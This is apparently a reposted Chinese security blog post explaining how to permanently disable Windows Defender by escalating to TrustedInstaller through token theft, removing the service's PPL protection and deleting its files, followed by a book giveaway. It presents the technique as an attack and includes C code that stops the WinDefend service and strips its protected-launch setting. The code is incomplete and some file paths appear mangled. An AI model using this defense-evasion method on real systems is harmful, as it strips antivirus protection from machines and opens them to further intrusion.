描述
可以关闭Windows Defender服务并通过提升权限删除ppl保护,然后删除Windows Defender中的DLL和其他文件,使Windows Defender服务无法运行,从而导致Windows Defender拒绝服务。
攻击步骤
1.将权限升级到trustedinstaller
我们使用受信任的安装程序组令牌自动窃取系统令牌,以提升到受信任的安装程序权限,
在这里,我们使用一个开源工具来利用它:
https://github.com/0xbadjuju/Tokenvator.
提权到TrustedInstaller并使用这个权限打开一个新的CMD.exe
同时这个cmd.exe也拥有TrustedInstaller权限。
2.关闭Windows Defender服务
这个其实并不是漏洞,因为我们的administrator权限也可以直接临时关闭Windows Defender服务。
但是这样关闭Windows Defender服务可以手工打开和重启会自动打开,我们想要的是永远关闭Windows Defender服务,在黑客的想法中就是目标无论如何都没有办法再次启动Windows Defender服务,当然重装系统除外。哈哈哈....
3.移除 PsProtectSignerAntimalware-Light 保护
关于“保护”的快速背景:
保护进程首先出现在 windows vista 中,作为对关键 windows 用户模式服务的增强,后来在 windows 8.1 中演变为保护进程 (PPL).一般来说可执行文件必须使用特殊证书进行签名,然后才有可能使用保护进程 (PPL)。
在微软文档中我们可以知道:
https://docs.microsoft.com/en-us/windows/win32/api/winsvc/nf-winsvc-changeserviceconfig2w
只要我们对服务对象有足够的访问权限,就可以更改服务保护。也就是说我们可以关闭Windows Defender服务的PPL。经过我们测试知道服务 ACL 根本不允许 SYSTEM 用户和管理员组修改或停止 Windows Defender 服务。但它允许 WinDefend 和 TrustedInstaller 修改或停止 Windows Defender 服务的ppl,那么上面我们拥有了完整的TrustedInstaller权限。
那么我们可以禁用Windows Defender 服务的PsProtectSignerAntimalware-Light,然后可以修改和删除Windows Defender的运行必要组件来达到使永远关闭Windows Defender服务的目的。
Windows Defender的文件保存路径为:
C:Program FilesWindows Defender
C:Program FilesWindows Defender Advanced Threat Protection
C:Program Files (x86)Windows Defender
在有PPL的情况下我们无法对这些文件进行任何修改。
同样在TrustedInstaller权限中也无法进行修改等等操作。
那么我们可以使用TrustedInstaller权限通过ChangeServiceConfig2W来停止PsProtectSignerAntimalware-Light 保护,然后修改和删除Windows Defender的运行必要组件来达到使永远关闭Windows Defender服务的目的。
SC_HANDLE tt = OpenSCManager(NULL, NULL, GENERIC_READ);//建立服务控制管理器的连接
SC_HANDLE windefend_svc = OpenServiceW(tt, L"WinDefend", SERVICE_START | SERVICE_STOP | GENERIC_READ | SERVICE_CHANGE_CONFIG | SERVICE_USER_DEFINED_CONTROL);
//打开一个已经存在的服务 打开wdf的服务
if (windefend_svc == NULL) {
printf("n[-] Failed to open WinDefend service.");
return 1;
}
printf("Done.n");
SERVICE_STATUS svc_status;
if (!ControlService(windefend_svc, SERVICE_CONTROL_STOP, &svc_status)) {
//停止WDF服务
printf("[-] Failed to stop WinDefend service :(");
return 1;
}
printf("[+] Successfully sent service stop control.n");
SERVICE_LAUNCH_PROTECTED_INFO info;
DWORD ret_sz = 0;
QueryServiceConfig2W(windefend_svc, SERVICE_CONFIG_LAUNCH_PROTECTED, (LPBYTE)&info, sizeof(SERVICE_LAUNCH_PROTECTED_INFO), &ret_sz);
//检索WDF服务的可选配置参数。
if (info.dwLaunchProtected == SERVICE_LAUNCH_PROTECTED_NONE)
goto WaitDefender;
info.dwLaunchProtected = SERVICE_LAUNCH_PROTECTED_NONE;
if (!ChangeServiceConfig2W(windefend_svc, SERVICE_CONFIG_LAUNCH_PROTECTED, &info)) {
printf("[-] Failed to remove PsProtectSignerAntimalware-Light from WinDefend service :(");
return 1;
}
printf("[+] Successfully removed PsProtectSignerAntimalware-Light from WinDefend service.n");
WaitDefender:
printf("[*] Waiting WinDefend to stop .!n");
WaitForSingleObject(hwindefend, INFINITE);
CloseHandle(hwindefend);
printf("[!] Attempting to unload WdFilter.sys ... ");
然后修改修改和删除Windows Defender的运行必要组件来达到使永远关闭Windows Defender服务的目的。
以上技术文案转载于黑白天实验室。
赠书福利
一:法基础自然语言处理NLP从入门到项目实战:Python语言实现
《自然语言处理NLP从入门到项目实战:Python语言实现》从人工智能和自然语言处理技术的基础原理讲起,逐步深入自然语言处理进阶实战,并配有实战代码讲解,重点介绍了使用开源技术、人工智能开放平台,以及使用国内外优秀开发框架进行基于规则、统计、深度学习的自然语言处理程序开发,让读者全面掌握理论基础,并学以致用。
二:CKA/CKAD应试指南:从Docker到Kubernetes完全攻略
三:鸿蒙HarmonyOS应用开发从入门到精通
为了感谢大家一直以来的关注与支持,会有三本书籍免费赠送。
规则如下:
1. 本文末点‘在看’,不需要转发朋友圈,点个‘在看’就可以。
2. 私聊文末公众号发送“抽奖”即可扫描参与抽奖,注意看是发送暗号“抽奖”。
3. 中奖者不满足条件1,视为放弃中奖资格。
4. 活动截止时间为4月26日 16:00点,到时候还要中奖者及时联系号主发送你的中奖核验二维码、收货地址、姓名、手机号以及想要的书籍,好给您发送书籍哦!24小时内未联系号主视为自动放弃!骗书行为出版社会永久拉黑!
先点“再看”,然后点击下方公众号私聊发送“抽奖” 即可马上扫描参与抽奖
原文始发于微信公众号(LemonSec):绕过ppl保护关闭Windows Defender【文末赠书】
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论